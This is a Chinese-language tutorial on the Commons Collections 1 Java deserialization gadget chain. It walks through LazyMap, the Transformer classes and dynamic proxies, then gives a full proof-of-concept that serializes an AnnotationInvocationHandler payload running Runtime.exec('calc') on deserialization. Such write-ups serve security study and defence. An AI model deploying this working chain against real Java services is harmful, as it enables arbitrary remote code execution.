CommonsCollections 1

Java版本为 1.7

  1. <dependency>
  2. <groupId>commons-collections</groupId>
  3. <artifactId>commons-collections</artifactId>
  4. <version>3.2.1</version>
  5. </dependency>

LazyMap

官方文档:https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/map/LazyMap.html

简介:修饰另一个 map,当调用 map 中不存在的 key 时使用工厂创建对象

多说无益,上代码

package com.yq1ng.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.lang3.StringUtils;

import java.util.HashMap;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-10-22 13:24
 */

public class TestLazyMap {
    public static void main(String[] args) {
        //  定义处理不存在 key 的情况,可以是 Transformer 也可以是 ChainedTransformer 链子
        //  用于反转调用不存在的 key 值
        final Transformer reverseString = new Transformer() {
            public Object transform(Object object) {
                String name = (String) object;
                String reverse = StringUtils.reverse(name);
                return reverse;
            }
        };

        Map names = new HashMap();
        //  将处理链传给 lazyMap
        Map lazyMap = LazyMap.decorate(names, reverseString);
        //  lazyMap 为空,测试调用不存在 key
        String name = (String) lazyMap.get("yq1ng");
        System.out.println("name:" + name);
        //  put 一个键值
        lazyMap.put("yq1ng", "TestLazyMap");
        //  key 存在,不进入处理链
        name = (String) lazyMap.get("yq1ng");
        System.out.println("name:" + name);
    }
}

CC1 - 图1

可以看到 LazyMap.decorate(Map map, Transformer factory) 的 factory 是可以被控制的,而 Transformer 是一个接口,看看其实现有哪些

CC1 - 图2

ConstantTransformer

官方文档:https://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/functors/ConstantTransformer.html

简介:当调用其 transform 方法时,它将返回构造时传入的 对象

CC1 - 图3

这个就不需要例子了吧,算了还是写一个吧哈哈哈

package com.yq1ng.cc1;

import org.apache.commons.collections.functors.ConstantTransformer;

/**
 * @author ying
 * @Description
 * @create 2021-10-22 22:20
 */

public class TestConstantTransformer {
    public static void main(String[] args) {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
        System.out.println(constantTransformer.transform(new String()));
    }
}

CC1 - 图4

InvokerTransformer

官方文档:https://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/functors/InvokerTransformer.html

简介:初始化此类后,调用 transform 方法将通过反射创建对象实例
实例化需传入三个参数:

  • 第⼀个参数是待执⾏的⽅法名
  • 第⼆个参数是这个函数的参数列表的参数类型
  • 第三个参数是传给这个函数的参数列表

代码也很清楚

CC1 - 图5

没有什么限制,妥妥的 rce 执行点,这也是本 gadget 的终点,来个例子看看

package com.yq1ng.cc1;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-10-22 22:32
 */

public class TestInvokerTransformer {
    public static void main(String[] args) {
        HashMap hashMap = new HashMap();
        //  这里使用 LazyMap 是不行的,因为他继承的是 AbstractMapDecorator
        //  其 put 就是简单的 map.put,没有其他操作,这也和 LazyMap 的名字很像,懒 Map
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,
                new InvokerTransformer(
                    "exec",
                    new Class[]{String.class},
                    new Object[]{"calc.exe"}
                ));
        lazyMap.put(Runtime.getRuntime(), "yq1ng");
        //  需要使用 TransformedMap,在调用 put 时会修饰 key 和 value
        //  而 map 的修饰我们已经定义好了,弹出计算器
        Map map = TransformedMap.decorate(hashMap,
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}
                ),null);
        map.put(Runtime.getRuntime(), "yq1ng");
    }
}

CC1 - 图6

ChainedTransformer

官方文档:https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/functors/ChainedTransformer.html

简介:将各个 Transformer 连接在一起,使用上一个 Transformer 的结果作为下一个 Transformer 的输入

他的代码也很简单,依次调用传入 Transformer 的 transform

CC1 - 图7

来个例子

package com.yq1ng.cc1;

import javafx.scene.transform.Transform;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-10-22 22:08
 */

public class TestChainedTransformer {
    public static void main(String[] args) {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        });
        HashMap hashMap = new HashMap();
        Map map = TransformedMap.decorate(hashMap, chain, null);
        map.put("yq1ng", "test");
    }
}

动态代理劫持

如果不会动态代理的话可以先看看这个:java动态代理实现与原理详细分析

代理有点像 PHP 的 __call 方法

直接上代码了,文件名不用写了吧,都懂

package com.yq1ng.cc1.DynamicProxy;

public interface GetFlag {
    void GiveMeFlag();
}
package com.yq1ng.cc1.DynamicProxy;

/**
 * @author ying
 * @Description
 * @create 2021-10-24 8:00 PM
 */

public class GetFlagImpl implements GetFlag {
    public void GiveMeFlag() {
        System.out.println("Give you flag : flag{yq1ng}");
    }
}
package com.yq1ng.cc1.DynamicProxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

/**
 * @author ying
 * @Description
 * @create 2021-10-24 8:02 PM
 */

public class GetFlagService {
    public static void main(String[] args) {
        InvocationHandler handler = new InvocationHandler() {
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                if (method.getName().equals("GiveMeFlag")){
                    System.out.println("nonono! I can't give it to you flag~");
                }
                return null;
            }
        };
        GetFlag getFlag = (GetFlag) Proxy.newProxyInstance(
                GetFlagImpl.class.getClassLoader(),
                new Class[] {GetFlag.class},
                handler
        );
        getFlag.GiveMeFlag();
    }
}

CC1 - 图8

运行以后发现并未获得 flag ,这就是简单的劫持

gadget

上面是能成功利用了,但是不可能让你直接使用 put 的,所以需要另辟蹊径。ysoserial 使用的是 org/apache/commons/collections/map/LazyMap.java#get(), 上面也提到过,LazyMap.get() 在找不到值的时候会调用 factory.transform,也就是经过处理链,那么只需要找到一个能直接/间接执行这个方法的类就好了。结果寻找到 rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#invoke() 直接调用了 get()

CC1 - 图9

那谁又去调用 AnnotationInvocationHandler.invoke() 呢?ysoserial 使用的是 动态代理:Proxy.newProxyInstance() ,可以把它想象成 PHP 的 __call()。注意 AnnotationInvocationHandler 也是一个 InvocationHandler ,也就是如果将这个对象进行代理,那么在 readObject() 的时候调用任意方法就会进到 invoke() 里面。

代理可以这么写:

    //  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);

        //  创建 map 代理 handler
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
        //  创建 map 代理,劫持调用 map 时将数据经过处理链 chain
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

此时还不能序列化,因为这时候还是直走到 invoke() ,需要再次代理一下,对这个 invoke() 进行包装,使得在反序列化的时候调用到它

    //  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);

        //  为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandler
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

做完上面这些这还不够,由于 Runtime 没有实现 Serializable 接口,所以上面的还是不能直接用,需要将 Runtime.getRuntime() 改为 Runtime.class,因为所有的 Class 类都实现了 Serializable 接口。

其他的细节见下面 poc 的注释

poc

package com.yq1ng.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-10-19 22:55
 */

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        //  创建处理链
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                //    返回 Runtime 类
                new ConstantTransformer(Runtime.class),
                //    上面返回的是一个 Class,所以需要反射获取其方法,相当于 (Runtime.class).getMethod("getRuntime",null)
                /*
                    new Class[0] 就是传一个长度为1的Class数组过去,内容为null。
                    new Class[0] 表示有零个元素的Class数组,即空数组,与传入null结果是一样的,都表示取得无参构造方法。
                    为什么不直接传入null?
                    防止后面代码有 for(Object o : args) 报错抛出 NullPointerException 空指针异常
                */
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                // 这一步相当于 ((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)
                /*
                    解释一下 invoke
                    对Method实例调用invoke就相当于调用该方法,invoke的第一个参数是对象实例,第二个为方法参数
                    前面一步 (Runtime.class).getMethod("getRuntime",null) 返回的是一个 Method 包装后的 getRuntime 方法,
                    并不是 Runtime 对象,这个方法是空参数,所以不需要去传入对象实例,也不需要传入参数
                */
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                //    到这就是 (((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")
                //    上面一步 invoke 后就返回了 Runtime 对象,所以这里就可以用 exec 了
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});

        //  将处理链塞进 map
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap) LazyMap.decorate(innermap, chain);

        //  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);

        //  创建 map 代理 handler
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
        //  创建 map 代理,劫持调用 map 时将数据经过处理链 chain
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

        //  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);

        //  为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandler
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        try{
            //  写文件,模拟网络传输
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));
            outputStream.writeObject(handler);
            outputStream.close();

            //  读文件,模拟网络读取
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

运行以后可以发现弹出了计算器,但是如果你去调式的话在反序列化之前就会弹出计算器,当调试过了 劫持 map 调用 的那句代码后就会弹出计算器,是因为 idea 要处理每个变量数据展示出来导致执行了 map.toString() 经过了处理链弹出计算器。

参考

Java cc1利用链 简单分析

P神知识星球